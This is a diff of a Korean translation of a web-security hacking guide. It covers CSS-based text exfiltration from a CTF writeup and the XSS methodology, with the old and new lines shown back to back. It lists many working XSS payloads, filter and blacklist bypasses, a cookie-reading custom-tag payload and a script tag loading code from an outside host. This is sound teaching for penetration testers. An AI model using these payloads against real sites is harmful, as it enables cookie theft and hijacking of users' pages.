### Text node exfiltration (III): leaking the charset with a default font by hiding elements (not requiring external assets) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
**참조:** 이 내용은 [an unsuccessful solution in this writeup](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)로 언급되어 있다
**Reference:** 이것은 [an unsuccessful solution in this writeup](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)로 언급되어 있습니.
이 경우는 이전 경우와 매우 유사하다. 다만 여기서 특정 **문자를 다른 문자보다 더 크게 만들어 무언가를 숨기는 것**의 목적은 봇이 누르지 않도록 버튼을 가리거나 로드되지 않을 이미지처럼 어떤 요소를 숨기는 것이다. 따라서 우리는 그 동작(또는 동작의 부재)을 측정하여 특정 문자가 텍스트 안에 존재하는지 알 수 있다.
이 경우는 이전 것과 매우 유사하지만, 여기서는 특정한 **문자를 다른 문자보다 더 크게 만들어 숨기는 것**이 목표입니다 — 예를 들어 봇이 누르지 않도록 버튼을 숨기거나 이미지를 로드되지 않게 하는 경우입니다. 따라서 동작(또는 동작의 부재)을 측정해서 특정 문자가 텍스트에 존재하는지 알 수 있습니다.
### Text node exfiltration (III): leaking the charset by cache timing (not requiring external assets) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
**참조:** 이 내용은 [an unsuccessful solution in this writeup](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)로 언급되어 있다
**Reference:** 이것은 [an unsuccessful solution in this writeup](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)로 언급되어 있습니.
이 경우에는 같은 출처에서 가짜 폰트를 로드하여 특정 문자가 텍스트에 있는지 leak하려고 시도할 수 있다:
이 경우에는 같은 origin에서 fake font를 로드하여 텍스트에 특정 char가 있는지를 leak하려고 시도할 수 있습니다:
```css
@font-face {
font-family: "A1";
@ -761,15 +760,15 @@ src: url(/static/bootstrap.min.css?q=1);
unicode-range: U+0041;
}
```
If there is a match, the **폰트는 `/static/bootstrap.min.css?q=1`에서 로드됩니다**. 비록 정상적으로 로드되지는 않더라도, **브라우저는 이를 캐시해야 하며**, 캐시가 없어도 **304 not modified** 메커니즘이 있으므로 **응답이 다른 것들보다 더 빠를 것**입니다.
If there is a match, the **폰트는 `/static/bootstrap.min.css?q=1`에서 로드됩니다**. 비록 성공적으로 로드되지는 않겠지만, **브라우저는 이를 캐시해야 하며**, 캐시가 없어도 **304 not modified** 메커니즘이 있어서 **응답이 다른 것들보다 더 빠를 것**입니다.
하지만 캐시된 응답과 비캐시 응답 간의 시간 차이가 충분히 크지 않으면 유용하지 않습니다. 예를 들어, 작성자는 다음과 같이 언급했습니다: 그러나 테스트 후에 나는 첫 번째 문제는 속도 차이가 크지 않다는 것이고, 두 번째 문제는 봇이 `disk-cache-size=1` 플래그를 사용한다는 점인데, 이는 정말 신경을 쓴 것이다.
그러나 캐시된 응답과 비캐시 응답 간의 시간 차이가 충분히 크지 않다면, 이것은 유용하지 않습니다. 예를 들어, 작성자는 다음과 같이 언급했습니다: 그러나 테스트해보니 첫 번째 문제는 속도 차이가 크지 않았고, 두 번째 문제는 봇이 `disk-cache-size=1` 플래그를 사용한다는 점인데, 이는 정말 신중한 설정이라고 합니다.
### Text node exfiltration (III): leaking the charset by timing loading hundreds of local "fonts" (not requiring external assets) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
**Reference:** 이 내용은 [an unsuccessful solution in this writeup](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)에서 언급되어 있습니다.
**참고:** 본 내용은 [an unsuccessful solution in this writeup](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)에서 언급되어 있습니다
이 경우 일치가 발생하면 동일 출처에서 수백 개의 가짜 폰트를 로드하도록 **CSS를 지정할 수 있습니다**. 이렇게 하면 **걸리는 시간을 측정**하여 문자가 나타나는지 여부를 다음과 같은 방식으로 알아낼 수 있습니다:
이 경우 매치가 발생하면 동일한 오리진에서 수백 개의 가짜 폰트를 로드하도록 **CSS**를 지정할 수 있습니다. 이렇게 하면 소요 시간을 **측정**해서 특정 char가 나타나는지 여부를 다음과 같은 방식으로 알아낼 수 있습니다:
```css
@font-face {
font-family: "A1";
@ -784,9 +783,9 @@ browser.get(url)
WebDriverWait(browser, 30).until(lambda r: r.execute_script('return document.readyState') == 'complete')
time.sleep(30)
```
따라서 글꼴이 일치하지 않으면 봇 방문 시 응답 시간은 약 30초로 예상됩니다. 반면 글꼴이 일치하면 글꼴을 가져오기 위해 여러 요청이 전송되어 네트워크 활동이 계속 발생합니다. 그 결과 정지 조건을 만족하고 응답을 받는 데 더 오래 걸립니다. 따라서 응답 시간은 글꼴 일치 여부를 판단하는 지표로 사용할 수 있습니다.
따라서 폰트가 일치하지 않으면 봇을 방문할 때 응답 시간은 대략 30초 정도가 될 것으로 예상됩니다. 반면 폰트가 일치하면 폰트를 가져오기 위해 여러 요청이 전송되어 네트워크에 지속적인 활동이 발생합니다. 그 결과 중지 조건을 만족시키고 응답을 받는 데 더 오래 걸립니다. 따라서 응답 시간은 폰트 일치 여부를 판단하는 지표로 사용할 수 있습니다.
## 참고 자료
## References
- [https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e](https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e)
- [https://d0nut.medium.com/better-exfiltration-via-html-injection-31c72a2dae8b](https://d0nut.medium.com/better-exfiltration-via-html-injection-31c72a2dae8b)

View File

@ -4,32 +4,32 @@
## 방법론
1. HTML에 **반영(reflected)** 되거나 **JS** 코드에 의해 **사용되는**지 **컨트롤 가능한 값**(_parameters_, _path_, _headers_?, _cookies_?)가 있는지 확인한다.
2. 값이 반영/사용되는 **컨텍스트를 찾는다**.
3. 만약 **반영된 경우**
1. **어떤 기호를 사용할 수 있는지** 확인하고 그에 따라 페이로드를 준비한다:
1. **raw HTML**에서:
1. 새로운 HTML 태그를 만들 수 있는가?
1. 당신이 제어하는 어떤 값( _parameters_, _path_, _headers_?, _cookies_? )이 HTML에 **반영**되거나 **JS 코드에서 사용되는지** 확인한다.
2. **입력이 반영/사용되는 컨텍스트를 찾는다**.
3. 만약 **반영되어 있다면**
1. 어떤 **기호를 사용할 수 있는지** 확인하고, 그에 따라 페이로드를 준비한다:
1. **raw HTML**:
1. 새로운 HTML 태그를 생성할 수 있는가?
2. `javascript:` 프로토콜을 지원하는 이벤트나 속성을 사용할 수 있는가?
3. 보호 장치를 우회할 수 있는가?
4. HTML 콘텐츠가 (_AngularJS_, _VueJS_, _Mavo_...) 같은 클라이언트 사이드 JS 엔진에 의해 해석되는가? 그렇다면 [**Client Side Template Injection**](../client-side-template-injection-csti.md)를 악용할 수 있다.
5. JS 코드를 실행하는 HTML 태그를 생성할 수 없다면 [**Dangling Markup - HTML scriptless injection**](../dangling-markup-html-scriptless-injection/index.html)를 악용할 수 있는가?
2. HTML 태그 내부:
1. raw HTML 컨텍스트로 탈출할 수 있는가?
2. JS 코드를 실행할 새로운 이벤트/속성을 만들 수 있는가?
3. 값이 반영된 속성이 JS 실행을 지원하는가?
4. HTML 컨텐츠가 클라이언트 사이드 JS 엔진(_AngularJS_, _VueJS_, _Mavo_...)에 의해 해석되는가? 그렇다면 [**Client Side Template Injection**](../client-side-template-injection-csti.md)를 악용할 수 있다.
5. JS 코드를 실행하는 HTML 태그를 만들 수 없다면, [**Dangling Markup - HTML scriptless injection**](../dangling-markup-html-scriptless-injection/index.html)를 악용할 수 있는가?
2. **HTML 태그 내부**:
1. raw HTML 컨텍스트로 빠져나갈 수 있는가?
2. JS 코드를 실행할 수 있는 새로운 이벤트/속성을 만들 수 있는가?
3. 당신이 갇혀 있는 속성이 JS 실행을 지원하는가?
4. 보호 장치를 우회할 수 있는가?
3. **JavaScript 코드** 내부:
1. `<script>` 태그에서 벗어날 수 있는가?
2. 문자열을 이스케이프하여 다른 JS 코드를 실행할 수 있는가?
3. 입력이 템플릿 리터럴(``) 안에 있는가?
1. `<script>` 태그를 탈출(escape)할 수 있는가?
2. 문자열을 탈출해서 다른 JS 코드를 실행할 수 있는가?
3. 입력이 템플릿 리터럴 `` 안에 있는가?
4. 보호 장치를 우회할 수 있는가?
4. 실행되는 Javascript **function**
1. 실행할 함수 이름을 지정할 수 있다. 예: `?callback=alert(1)`
4. Javascript **function**이 **실행되는 경우**
1. 실행할 함수 이름을 지정할 수 있다. 예: `?callback=alert(1)`
4. 만약 **사용되는 경우**:
1. **DOM XSS**를 악용할 수 있다. 입력이 어떻게 제어되는지, 그리고 당신이 제어하는 입력이 어떤 sink에 의해 사용되는지 주의하라.
1. **DOM XSS**를 악용할 수 있다. 입력이 어떻게 제어되는지, 그리고 당신의 **제어된 입력이 어떤 sink에 의해 사용되는지**를 주의하라.
복잡한 XSS를 다룰 때 다음을 아는 것이 유용할 수 있다:
복잡한 XSS를 다룰 때 다음 내용을 알아두면 유용할 수 있다:
{{#ref}}
@ -38,46 +38,47 @@ debugging-client-side-js.md
## 반영된 값
XSS를 성공적으로 악용하려면 먼저 웹 페이지에 **반영(reflected)** 되는 당신이 제어하는 값을 찾아야 한다.
XSS를 성공적으로 악용하려면 가장 먼저 찾아야 할 것은 웹페이지에 **반영되는 당신이 제어하는 값**이다.
- **Intermediately reflected**: 파라미터 값이나 경로가 웹페이지에 반영되는 것을 발견하면 **Reflected XSS**를 악용할 수 있다.
- **Stored and reflected**: 서버에 저장된 당신이 제어하는 값이 페이지 접근 시마다 반영된다면 **Stored XSS**를 악용할 수 있다.
- **Intermediately reflected**: 파라미터 값이나 경로가 웹페이지에 반영된다면 **Reflected XSS**를 악용할 수 있다.
- **Stored and reflected**: 당신이 제어하는 값이 서버에 저장되고 페이지에 접근할 때마다 반영된다면 **Stored XSS**를 악용할 수 있다.
- **Accessed via JS**: 당신이 제어하는 값이 JS로 접근된다면 **DOM XSS**를 악용할 수 있다.
## 컨텍스트
XSS를 공격하려 할 때 가장 먼저 알아야 할 것은 **입력이 어디에 반영되는가**이다. 컨텍스트에 따라 임의의 JS 코드를 실행할 수 있는 방법이 달라진다.
XSS를 악용하려 할 때 가장 먼저 알아야 할 것은 **입력이 어디에 반영되는가**이다. 컨텍스트에 따라 임의의 JS 코드를 실행할 수 있는 방법이 달라진다.
### Raw HTML
입력이 **raw HTML** 페이지에 반영된다면 JS 코드를 실행하기 위해 일부 **HTML tag**를 악용해야 한다: `<img , <iframe , <svg , <script` ... 이들은 사용할 수 있는 많은 HTML 태그 중 일부에 불과하다. 또한 [Client Side Template Injection](../client-side-template-injection-csti.md)를 유념하라.
입력이 **raw HTML에 반영되는 경우**, JS 코드를 실행하기 위해 일부 **HTML 태그**를 악용해야 한다: `<img , <iframe , <svg , <script` ... 이것들은 사용할 수 있는 많은 HTML 태그 중 일부에 불과하다.\
또한, [Client Side Template Injection](../client-side-template-injection-csti.md)을 염두에 두라.
### HTML 태그 속성 내부
### Inside HTML tags attribute
입력이 태그의 속성 값 내부에 반영된다면 다음을 시도할 수 있다:
1. 속성 및 태그에서 **탈출(escape)** 하여(그때는 raw HTML 컨텍스트에 있게 됨) 악용할 새 HTML 태그를 생성한다: `"><img [...]`
2. 속성에서는 **탈출할 수 있지만 태그에서는 탈출할 수 없는 경우** (`>`가 인코딩되거나 삭제된 경우), 태그에 따라 JS 코드를 실행하는 **이벤트를 생성**할 수 있다: `" autofocus onfocus=alert(1) x="`
3. 속성에서 **탈출할 수 없는 경우** (`"`이 인코딩되거나 삭제된 경우), 값이 반영되는 **어떤 속성인지**, **값 전체를 제어하는지 일부만 제어하는지**에 따라 이를 악용할 수 있다. 예를 들어 `onclick=` 같은 이벤트를 제어하면 클릭 시 임의의 코드를 실행하게 할 수 있다. 또 다른 흥미로운 예는 `href` 속성으로, `javascript:` 프로토콜을 사용해 임의 코드를 실행할 수 있다: **`href="javascript:alert(1)"`**
4. 입력이 **unexpoitable tags** 내부에 반영되는 경우, 취약점을 악용하기 위해 **`accesskey`** 트릭을 시도할 수 있다(이를 악용하려면 어느 정도의 소셜 엔지니어링이 필요하다): **`" accesskey="x" onclick="alert(1)" x="`**
1. **속성과 태그에서 탈출**(그러면 raw HTML 상태가 됨)하여 악용할 새로운 HTML 태그를 만든다: `"><img [...]`
2. 만약 **속성에서는 탈출할 수 있지만 태그에서는 탈출할 수 없다**면 (`>`가 인코딩되거나 삭제됨), 태그에 따라 JS 코드를 실행하는 **이벤트를 생성할 수 있다**: `" autofocus onfocus=alert(1) x="`
3. 만약 **속성에서 탈출할 수 없다**면 (`"`가 인코딩되거나 삭제됨), 값이 반영되는 **어떤 속성인지**, 그리고 **전체 값을 제어하는지 일부만 제어하는지**에 따라 이를 악용할 수 있다. 예를 들어 `onclick=` 같은 이벤트를 제어하면 클릭 시 임의의 코드를 실행시킬 수 있다. 또 다른 흥미로운 예는 `href` 속성으로, `javascript:` 프로토콜을 사용해 임의 코드를 실행할 수 있다: **`href="javascript:alert(1)"`**
4. 입력이 "**unexpoitable tags**" 안에 반영된다면 **`accesskey`** 트릭을 시도해볼 수 있다(이를 악용하려면 일종의 social engineering이 필요하다): **`" accesskey="x" onclick="alert(1)" x="`**
클래스 이름을 제어할 때 Angular가 XSS를 실행하는 이상한 예:
클래스 이름을 제어하면 Angular가 XSS를 실행하는 이상한 예:
```html
<div ng-app>
<strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
</div>
```
### JavaScript 코드 안에서
### JavaScript 코드 내부
In this case your input is reflected between **`<script> [...] </script>`** tags of a HTML page, inside a `.js` file or inside an attribute using **`javascript:`** protocol:
이 경우 입력은 HTML 페이지의 **`<script> [...] </script>`** 태그 사이, `.js` 파일 내부 또는 **`javascript:`** 프로토콜을 사용하는 속성 내에 반영됩니다:
- 만약 입력이 **`<script> [...] </script>`** 태그 사이에 반영된다면, 입력이 어떤 형태의 따옴표 안에 있더라도 `</script>`를 주입해 이 컨텍스트에서 탈출하려 시도할 수 있습니다. 이는 **브라우저가 HTML 태그를 먼저 파싱**하고 그 다음 콘텐츠를 파싱하기 때문에 작동하며, 따라서 브라우저는 당신이 주입한 `</script>` 태그가 HTML 코드 내부에 있다는 것을 알아차리지 못합니다.
- 만약 입력이 **JS 문자열 내부**에 반영되고 이전 방법이 통하지 않는다면, 문자열을 **탈출(exit)**하고 코드를 **실행(execute)**한 다음 JS 코드를 **재구성(reconstruct)**해야 합니다 (에러가 나면 실행되지 않습니다:
- 만약 입력이 **`<script> [...] </script>`** 태그 사이에 반영된다면, 입력이 어떤 종류의 따옴표 안에 있더라도 `</script>`을 주입해 이 컨텍스트에서 탈출할 수 있습니다. 이는 **브라우저가 먼저 HTML 태그를 파싱**한 다음 콘텐츠를 처리하기 때문에, 주입한 `</script>` 태그가 HTML 코드 내부에 있다는 것을 인지하지 못하기 때문입니다.
- 만약 입력이 **JS 문자열 안에** 반영되고 이전 트릭이 작동하지 않는다면, 문자열을 **종료**하고, 코드를 **실행**하며, JS 코드를 **재구성**해야 합니다 (오류가 있으면 실행되지 않습니다:
- `'-alert(1)-'`
- `';-alert(1)//`
- `\';alert(1)//`
- 템플릿 리터럴 내부에 반영된다면 `${ ... }` 문법을 사용해 **JS 표현식 삽입**이 가능합니다: `` var greetings = `Hello, ${alert(1)}` ``
- **Unicode encode**는 **valid javascript code**를 작성하는 데 유용합니다:
- 템플릿 리터럴 안에 반영된다면 `${ ... }` 구문을 사용해 **JS 표현식 삽입**을 할 수 있습니다: `` var greetings = `Hello, ${alert(1)}` ``
- **Unicode 인코딩**은 **유효한 javascript 코드**를 작성하는 데 사용할 수 있습니다:
```javascript
alert(1)
alert(1)
@ -85,7 +86,7 @@ alert(1)
```
#### Javascript Hoisting
Javascript Hoisting는 사용된 후에 함수, 변수 또는 클래스를 선언할 수 있는 기회를 의미하며, 이로 인해 XSS가 선언되지 않은 변수나 함수를 사용하는 시나리오를 악용할 수 있습니다.\
Javascript Hoisting references the opportunity to **사용된 이후에 함수, 변수 또는 클래스를 선언하여 XSS가 미선언된 변수나 함수를 사용하는 상황을 악용할 수 있습니다.**\
**자세한 내용은 다음 페이지를 확인하세요:**
@ -95,19 +96,19 @@ js-hoisting.md
### Javascript Function
여러 웹 페이지에는 실행할 함수의 이름을 매개변수로 받는 endpoints가 있습니다. 실제로 자주 볼 수 있는 예는 `?callback=callbackFunc`와 같습니다.
Several web pages have endpoints that **실행할 함수의 이름을 파라미터로 받는**. A common example to see in the wild is something like: `?callback=callbackFunc`.
사용자가 직접 전달한 값이 실제로 실행되는지 확인하는 좋은 방법은 **매개변수 값을 변경**(예: 'Vulnerable')한 뒤 콘솔에서 다음과 같은 에러를 확인하는 것입니다:
A good way to find out if something given directly by the user is trying to be executed is **파라미터 값을 수정하는 것** (for example to 'Vulnerable') and looking in the console for errors like:
![](<../../images/image (711).png>)
취약하다면 단순히 값으로 **`?callback=alert(1)`**을 보내 alert를 발생시킬 수 있습니다. 그러나 이러한 endpoints는 종종 내용을 검증하여 문자, 숫자, 점 및 밑줄(**`[\w\._]`**)만 허용합니다.
In case it's vulnerable, you could be able to **alert를 트리거** just doing sending the value: **`?callback=alert(1)`**. However, it' very common that this endpoints will **내용을 검증** to only allow letters, numbers, dots and underscores (**`[\w\._]`**).
그러한 제한이 있더라도 일부 동작은 여전히 가능합니다. 이는 허용된 문자들로 DOM의 아무 요소나 **접근할 수 있기 때문**입니다:
However, even with that limitation it's still possible to perform some actions. This is because you can use that valid chars to **DOM의 어떤 요소든 접근할 수 있습니다**:
![](<../../images/image (747).png>)
이를 위해 유용한 함수들:
Some useful functions for this:
```
firstElementChild
lastElementChild
@ -117,9 +118,9 @@ parentElement
```
You can also try to **trigger Javascript functions** directly: `obj.sales.delOrders`.
However, usually the endpoints executing the indicated function are endpoints without much interesting DOM, **other pages in the same origin** will have a **more interesting DOM** to perform more actions.
그러나 보통 지정된 함수를 실행하는 엔드포인트들은 흥미로운 DOM이 많지 않은 경우가 많습니다. **동일 출처의 다른 페이지**들은 더 많은 동작을 수행할 수 있는 **더 흥미로운 DOM**을 가지고 있을 수 있습니다.
Therefore, in order to **abuse this vulnerability in a different DOM** the **Same Origin Method Execution (SOME)** exploitation was developed:
따라서, 다른 DOM에서 이 취약점을 악용하기 위해 Same Origin Method Execution (SOME) 익스플로잇이 개발되었습니다:
{{#ref}}
@ -128,7 +129,7 @@ some-same-origin-method-execution.md
### DOM
There is **JS code** that is using **unsafely** some **data controlled by an attacker** like `location.href` . An attacker, could abuse this to execute arbitrary JS code.
JS 코드가 공격자가 제어하는 일부 데이터를 안전하지 않게 사용하고 있는 경우가 있습니다(예: `location.href`). 공격자는 이를 악용하여 임의의 JS 코드를 실행할 수 있습니다.
{{#ref}}
@ -137,8 +138,8 @@ dom-xss.md
### **Universal XSS**
These kind of XSS can be found **anywhere**. They not depend just on the client exploitation of a web application but on **any** **context**. These kind of **arbitrary JavaScript execution** can even be abuse to obtain **RCE**, **read** **arbitrary** **files** in clients and servers, and more.\
Some **examples**:
이런 종류의 XSS는 **어디에서나** 발견될 수 있습니다. 이는 웹 애플리케이션의 클라이언트 취약점에만 의존하지 않고 **어떤** **컨텍스트**에서도 발생할 수 있습니다. 이러한 **임의의 JavaScript 실행**은 심지어 **RCE**를 얻거나 클라이언트 및 서버에서 **임의의 파일을 읽는** 등으로 악용될 수 있습니다.\
몇 가지 **예시**:
{{#ref}}
@ -156,11 +157,11 @@ server-side-xss-dynamic-pdf.md
## Injecting inside raw HTML
입력이 **HTML 페이지 내부에 반영되거나** 이 컨텍스트에서 이스케이프를 벗어나 HTML 코드를 주입할 수 있는 경우, 가장 먼저 해야 할 일은 `<` 문자를 이용해 새 태그를 만들 수 있는지 확인하는 것입니다: 해당 문자를 반영해 보고 **HTML 인코딩**되는지, 삭제되는지, 아니면 **변경 없이 반영되는지**를 확인하세요. **마지막 경우에만 이 케이스를 실질적으로 악용할 수 있습니다**.\
러한 경우에는 [**Client Side Template Injection**](../client-side-template-injection-csti.md)**염두에 두세요.**\
_**참고: A HTML comment can be closed using**`-->`**or**`--!>`**_
입력이 **HTML 페이지 내부에 반영되거나** 이 컨텍스트에서 이스케이프해 HTML 코드를 주입할 수 있는 경우, 가장 먼저 해야 할 일은 `<`를 사용해 새 태그를 만들 수 있는지 확인하는 것입니다: 해당 **문자**를 반사(reflect)해 보고 그것이 **HTML 인코딩**되는지, **삭제**되는지, 아니면 **변경 없이 반영되는지** 확인하세요. **마지막 경우에만 이 케이스를 악용할 수 있습니다.**\
이 경우에는 [**Client Side Template Injection**](../client-side-template-injection-csti.md)**염두에 두십시오.**\
_**참고: HTML 주석은 `-->` 또는 `--!>`로 닫을 수 있습니다**_
In this case and if no black/whitelisting is used, you could use payloads like:
이 경우 및 black/whitelisting이 사용되지 않는 경우, 다음과 같은 페이로드를 사용할 수 있습니다:
```html
<script>
alert(1)
@ -168,22 +169,22 @@ alert(1)
<img src="x" onerror="alert(1)" />
<svg onload=alert('XSS')>
```
하지만 tags/attributes black/whitelisting이 사용되는 경우, 생성할 수 있는 **tags를 brute-force**해야 합니다.\
허용**tags를 찾아낸 후**, 발견한 유효한 tags 내부에서 컨텍스트를 어떻게 공격할 수 있는지 확인하기 위해 **attributes/events를 brute-force**해야 합니다.
하지만, 태그/속성 블랙/화이트리스트가 사용되는 경우, 어떤 태그를 **brute-force**해야 하는지 알아내야 합니다.\
허용되는 태그를 **찾았으면**, 발견한 유효한 태그 내부의 **속성/이벤트를 brute-force**하여 컨텍스트를 어떻게 공격할 수 있는지 확인해야 합니다.
### Tags/Events brute-force
### 태그/이벤트 brute-force
Go to [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) and click on _**Copy tags to clipboard**_. Then, send all of them using Burp intruder and check if any tags wasn't discovered as malicious by the WAF. Once you have discovered which tags you can use, you can **brute force all the events** using the valid tags (in the same web page click on _**Copy events to clipboard**_ and follow the same procedure as before).
Go to [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) and click on _**Copy tags to clipboard**_. 그런 다음, 모든 태그를 Burp intruder로 전송하고 WAF가 악성으로 탐지하지 못한 태그가 있는지 확인하세요. 사용 가능한 태그를 발견하면, 유효한 태그를 사용하여 **모든 이벤트를 brute-force**할 수 있습니다 (같은 웹 페이지에서 _**Copy events to clipboard**_를 클릭하고 이전과 같은 절차를 따르세요).
### Custom tags
### 커스텀 태그
If you didn't find any valid HTML tag, you could try to **create a custom tag** and and execute JS code with the `onfocus` attribute. In the XSS request, you need to end the URL with `#` to make the page **focus on that object** and **execute** the code:
유효한 HTML 태그를 찾지 못했다면, **커스텀 태그를 생성**하고 `onfocus` 속성으로 JS 코드를 실행해볼 수 있습니다. XSS 요청에서는 URL 끝에 `#`을 붙여 페이지가 **해당 객체에 포커스**하고 코드를 **실행**하게 만들어야 합니다:
```
/?search=<xss+id%3dx+onfocus%3dalert(document.cookie)+tabindex%3d1>#x
```
### Blacklist Bypasses
어떤 종류의 blacklist가 사용 중이라면 몇 가지 간단한 트릭으로 이를 bypass해 볼 수 있습니다:
어떤 종류의 blacklist가 사용되고 있다면, 몇 가지 간단한 트릭으로 그것을 bypass해볼 수 있습니다:
```javascript
//Random capitalization
<script> --> <ScrIpT>
@ -235,29 +236,29 @@ onerror=alert`1`
```
### Length bypass (small XSSs)
> [!NOTE] > **다양한 환경에 대한 더 작은 XSS** payload는 [**can be found here**](https://github.com/terjanq/Tiny-XSS-Payloads) and [**here**](https://tinyxss.terjanq.me).
> [!NOTE] > **다양한 환경을 위한 더 많은 tiny XSS payload** [**여기에서 찾을 수 있습니다**](https://github.com/terjanq/Tiny-XSS-Payloads) 및 [**여기**](https://tinyxss.terjanq.me).
```html
<!-- Taken from the blog of Jorge Lajara -->
<svg/onload=alert``> <script src=//aa.es> <script src=//.pw>
```
The last one is using 2 unicode characters which expands to 5: telsr\
마지막 것은 2개의 unicode 문자로 구성되어 있으며 5개로 확장됩니다: telsr\
More of these characters can be found [here](https://www.unicode.org/charts/normalization/).\
To check in which characters are decomposed check [here](https://www.compart.com/en/unicode/U+2121).
어떤 문자로 분해되는지 확인하려면 [here](https://www.compart.com/en/unicode/U+2121)을 확인하세요.
### Click XSS - Clickjacking
취약점을 악용하려면 **사용자가 미리 채워진 데이터가 있는 링크나 폼을 클릭하도록** 해야 하는 경우, 페이지가 취약하다면 [**abuse Clickjacking**](../clickjacking.md#xss-clickjacking)를 시도해볼 수 있습니다.
취약점을 악용하기 위해 사용자가 미리 채워진 데이터와 함께 **링크나 폼을 클릭해야 하는 경우**, 페이지가 취약하다면 [**abuse Clickjacking**](../clickjacking.md#xss-clickjacking)를 시도해 볼 수 있습니다.
### 불가능 - Dangling Markup
### Impossible - Dangling Markup
만약 **HTML 태그를 만들고 속성으로 JS 코드를 실행하는 것이 불가능하다고** 생각한다면, [**Danglig Markup** ](../dangling-markup-html-scriptless-injection/index.html)를 확인하세요. **JS** 코드를 실행하지 않고도 취약점을 **exploit**할 수 있습니다.
HTML 태그와 속성으로 JS 코드를 실행하는 것이 **불가능하다고** 생각된다면, [**Danglig Markup** ](../dangling-markup-html-scriptless-injection/index.html)을 확인하세요. 왜냐하면 JS 코드를 실행하지 않고도 취약점을 **exploit**할 수 있기 때문입니다.
## Injecting inside HTML tag
### Inside the tag/escaping from attribute value
만약 **HTML 태그 내부에** 있다면, 가장 먼저 시도할 수 있는 것은 태그에서 **이스케이프**하고 [previous section](#injecting-inside-raw-html)에 언급된 기법들을 사용해 JS 코드를 실행하는 것입니다.\
만약 **태그에서 이스케이프할 수 없다면**, 태그 내부에 새로운 속성을 만들어 JS 코드를 실행하려 시도할 수 있습니다. 예를 들어 다음과 같은 페이로드를 사용할 수 있습니다 (_note that in this example double quotes are use to escape from the attribute, you won't need them if your input is reflected directly inside the tag_):
HTML 태그 내부에 있는 경우, 가장 먼저 시도해볼 것은 태그에서 **escape**하여 [previous section](#injecting-inside-raw-html)에 언급된 기법들 중 일부를 사용해 JS 코드를 실행하는 것입니다.\
태그에서 **탈출할 수 없다면**, 태그 내부에 새로운 속성을 생성해 JS 코드를 실행하도록 시도할 수 있습니다. 예를 들어 다음과 같은 payload를 사용할 수 있습니다 (_이 예제에서는 속성에서 탈출하기 위해 double quotes를 사용했지만, 입력이 태그 내부에 직접 반영되는 경우에는 필요하지 않습니다_):
```bash
" autofocus onfocus=alert(document.domain) x="
" onfocus=alert(1) id=x tabindex=0 style=display:block>#x #Access http://site.com/?#x t
@ -272,16 +273,16 @@ To check in which characters are decomposed check [here](https://www.compart.com
#moving your mouse anywhere over the page (0-click-ish):
<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.0);z-index: 5000;" onmouseover="alert(1)"></div>
```
### 속성 에서
### 속성 에서
설령 **속성에서 탈출할 수 없다면** (`"`가 인코딩되거나 삭제되는 경우), 값이 반영되는 **어떤 속성**인지**값 전체를 제어하는지 아니면 일부만 제어하는지**에 따라 이를 악용할 수 있습니다. **예를 들어**, `onclick=` 같은 이벤트를 제어할 수 있다면 클릭 시 임의의 코드를 실행하게 만들 수 있습니다.\
또 다른 흥미로운 ****는 `href` 속성으로, `javascript:` 프로토콜을 사용해 임의의 코드를 실행할 수 있습니다: **`href="javascript:alert(1)"`**
비록 **속성에서 탈출할 수 없다면** (`"`가 인코딩되거나 삭제되는 경우), 값이 반영되는 **어떤 속성인지**값 전체를 제어하는지 아니면 일부만 제어하는지에 따라 이를 악용할 수 있습니다. 예를 들어, `onclick=` 같은 이벤트를 제어할 수 있다면 클릭 시 임의의 코드를 실행하게 수 있습니다.\
또 다른 흥미로운 예는 `href` 속성으로, `javascript:` 프로토콜을 사용해 임의의 코드를 실행할 수 있습니다: **`href="javascript:alert(1)"`**
**HTML 인코딩/URL 인코딩을 이용한 이벤트 내부 우회**
**이벤트 내부 우회 (HTML encoding/URL encode 사용)**
HTML 태그 속성 값 내부의 **HTML 인코딩된 문자들**은 **런타임에 디코딩**됩니다. 따라서 다음과 같은 것이 유효합니다 (payload는 굵게 표시됨): `<a id="author" href="http://none" onclick="var tracker='http://foo?`**`&apos;-alert(1)-&apos;`**`';">Go Back </a>`
HTML 태그 속성 값 안의 **HTML 인코딩된 문자**는 **런타임에 디코딩**됩니다. 따라서 다음과 같은 것이 유효하게 동작합니다(페이로드는 굵게 표시됨): `<a id="author" href="http://none" onclick="var tracker='http://foo?`**`&apos;-alert(1)-&apos;`**`';">Go Back </a>`
참고로 **어떤 종류의 HTML 인코딩이든 유효합니다**:
참고로 **어떤 형태의 HTML 인코딩도 유효합니다**:
```javascript
//HTML entities
&apos;-alert(1)-&apos;
@ -298,11 +299,11 @@ HTML 태그 속성 값 내부의 **HTML 인코딩된 문자들**은 **런타임
<a href="&#106;avascript:alert(2)">a</a>
<a href="jav&#x61script:alert(3)">a</a>
```
**참고 URL encode도 작동합니다:**
**참고: URL encode도 작동합니다:**
```python
<a href="https://example.com/lol%22onmouseover=%22prompt(1);%20img.png">Click</a>
```
**Bypass 이벤트 내부에서 Unicode encode 사용**
**이벤트 내부에서 Unicode 인코딩을 사용하여 우회**
```javascript
//For some reason you can use unicode to encode "alert" but not "(1)"
<img src onerror=\u0061\u006C\u0065\u0072\u0074(1) />
@ -310,7 +311,7 @@ HTML 태그 속성 값 내부의 **HTML 인코딩된 문자들**은 **런타임
```
### 속성 내의 특수 프로토콜
